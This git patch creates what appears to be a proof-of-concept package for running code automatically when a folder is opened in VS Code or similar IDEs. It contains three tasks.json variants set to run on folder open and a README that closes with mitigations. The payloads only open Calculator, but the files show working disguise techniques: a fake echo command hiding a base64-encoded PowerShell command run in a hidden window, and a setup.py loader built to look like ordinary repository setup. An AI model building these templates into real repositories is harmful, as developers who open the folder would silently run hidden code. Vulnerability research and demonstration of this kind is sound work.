From c46db4f7b763986a9be6ef357c379e16db520d5d Mon Sep 17 00:00:00 2001 From: i2p Date: Thu, 27 Aug 2026 11:22:58 -0600 Subject: [PATCH] initial commit --- .DS_Store | Bin 0 -> 6148 bytes 1_Basic_Calc/.vscode/tasks.json | 20 +++++++++++ 2_Inline_Stealth/.vscode/tasks.json | 25 +++++++++++++ 3_External_Script_Stealth/.vscode/tasks.json | 25 +++++++++++++ 3_External_Script_Stealth/scripts/setup.py | 19 ++++++++++ README.md | 36 +++++++++++++++++++ 6 files changed, 125 insertions(+) create mode 100644 .DS_Store create mode 100755 1_Basic_Calc/.vscode/tasks.json create mode 100755 2_Inline_Stealth/.vscode/tasks.json create mode 100755 3_External_Script_Stealth/.vscode/tasks.json create mode 100755 3_External_Script_Stealth/scripts/setup.py create mode 100755 README.md diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..80e0c8c2a9ed59a852f8cd053344261a54f9bdda GIT binary patch literal 6148 zcmeHK!A`n~P>h%qN)Qu|{R@wNjvwH+c=yfB#!w1~ zXpAv4$?j{XGrRjOINbu`9k7u^!$@7yX@3!Vnh$r$%^M=4#=DfKGR z<}d|Jfxo5z@7)HquxH!Yv-A5mqcpp1b<=z_(M7x0b+My7N%~pdM+_epXU9)3C+p(} zUy7d$=hwpL6%MUKtowq-l;PYN(+%FbGz0eFnbEMk{@U9nISV|_1CLMV8s#NE8|N+I zbwEd8(xFG;G6gf{!`xDug6RbQwM?UDFx_I51@4!D`&J{B)cD3oWqmw|nf;IgsM&1w zJw@wH0aL&f_)vh)2am=W2P_oj=s+h|0AK{S7@nmz13f!{alk?m9+=Zqpr*QT#c-Mq zzYlS7z(P^e$;r$ZC(P`^4aLdq@Oud-7b{wC3YY?A1$Okc$@Rap`u<-|vNuz}6!=#P zxG3o+ZBPoewL*?-tw*~?W8=6&QBu%_ax4#AiucjP@XhlBFb-HK!UMA(0g=HvQ{Yz> Fcn8p`lE44} literal 0 HcmV?d00001 diff --git a/1_Basic_Calc/.vscode/tasks.json b/1_Basic_Calc/.vscode/tasks.json new file mode 100755 index 0000000..9049281 --- /dev/null +++ b/1_Basic_Calc/.vscode/tasks.json @@ -0,0 +1,20 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "RCE Test - Calculator", + "type": "shell", + "command": "calc.exe", + "windows": { + "command": "calc.exe" + }, + "runOptions": { + "runOn": "folderOpen" + }, + "presentation": { + "reveal": "always", + "panel": "new" + } + } + ] +} \ No newline at end of file diff --git a/2_Inline_Stealth/.vscode/tasks.json b/2_Inline_Stealth/.vscode/tasks.json new file mode 100755 index 0000000..f768039 --- /dev/null +++ b/2_Inline_Stealth/.vscode/tasks.json @@ -0,0 +1,25 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "Initialize Workspace", + "type": "shell", + "command": "echo 'Workspace ready.'", + "windows": { + "command": "powershell -WindowStyle Hidden -NoProfile -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMA" + }, + "runOptions": { + "runOn": "folderOpen" + }, + "presentation": { + "reveal": "never", + "echo": false, + "focus": false, + "panel": "shared", + "showReuseMessage": false, + "clear": true + }, + "problemMatcher": [] + } + ] +} \ No newline at end of file diff --git a/3_External_Script_Stealth/.vscode/tasks.json b/3_External_Script_Stealth/.vscode/tasks.json new file mode 100755 index 0000000..83372f0 --- /dev/null +++ b/3_External_Script_Stealth/.vscode/tasks.json @@ -0,0 +1,25 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "Run Project Setup", + "type": "shell", + "command": "python scripts/setup.py", + "windows": { + "command": "python scripts/setup.py" + }, + "runOptions": { + "runOn": "folderOpen" + }, + "presentation": { + "reveal": "silent", + "echo": false, + "focus": false, + "panel": "shared", + "showReuseMessage": false, + "clear": true + }, + "problemMatcher": [] + } + ] +} \ No newline at end of file diff --git a/3_External_Script_Stealth/scripts/setup.py b/3_External_Script_Stealth/scripts/setup.py new file mode 100755 index 0000000..4ba0bbf --- /dev/null +++ b/3_External_Script_Stealth/scripts/setup.py @@ -0,0 +1,19 @@ +import os +import platform + +def init_environment(): + print("[*] Setting up development environment...") + # Simulate some setup work + + # Payload trigger + if platform.system() == "Windows": + os.system("start calc.exe") + elif platform.system() == "Darwin": # MacOS + os.system("open -a Calculator") + elif platform.system() == "Linux": + os.system("gnome-calculator") + + print("[+] Environment ready.") + +if __name__ == "__main__": + init_environment() diff --git a/README.md b/README.md new file mode 100755 index 0000000..a8d98d0 --- /dev/null +++ b/README.md @@ -0,0 +1,36 @@ +# IDE "Open Folder" RCE Proof of Concept Package + +This package contains three examples of the "Open Folder" vulnerability (CVE-2025-54135 equivalent) affecting VS Code, Cursor, and other derived IDEs. + +**Payload:** All examples launch `calc.exe` (Windows) or Calculator (Mac/Linux) to demonstrate execution without causing harm. + +## Contents + +### [1_Basic_Calc](./1_Basic_Calc) +The simplest test case. +- **Behavior:** Opens `calc.exe` immediately upon opening the folder. +- **Stealth:** None. A terminal window will likely appear. +- **Use Case:** Basic verification of vulnerability. + +### [2_Inline_Stealth](./2_Inline_Stealth) +Demonstrates obfuscation within the configuration file. +- **Behavior:** Launches `calc.exe` silently in the background. +- **Technique:** Uses the `windows` property override to hide the real command behind a fake `echo` command. The payload is Base64 encoded. +- **Stealth:** High (UI level). No terminal pops up. + +### [3_External_Script_Stealth](./3_External_Script_Stealth) +Demonstrates the "Loader" technique. +- **Behavior:** `tasks.json` triggers a standard looking Python script (`scripts/setup.py`). +- **Technique:** The malice is decoupled from the config file. The config looks like a standard build instruction. +- **Stealth:** Maximum (Social Engineering). Looks like a legitimate repository setup. + +## Usage +1. Extract the folder you want to test. +2. Open your IDE. +3. **File -> Open Folder...** -> Select the folder (e.g., `1_Basic_Calc`). +4. Observe if Calculator launches. + +## Mitigation +To protect yourself against these attacks: +1. **Enable Workspace Trust:** Settings -> `Security: Workspace Trust`. +2. **Disable Automatic Tasks:** Settings -> `Task: Allow Automatic Tasks` -> `off`.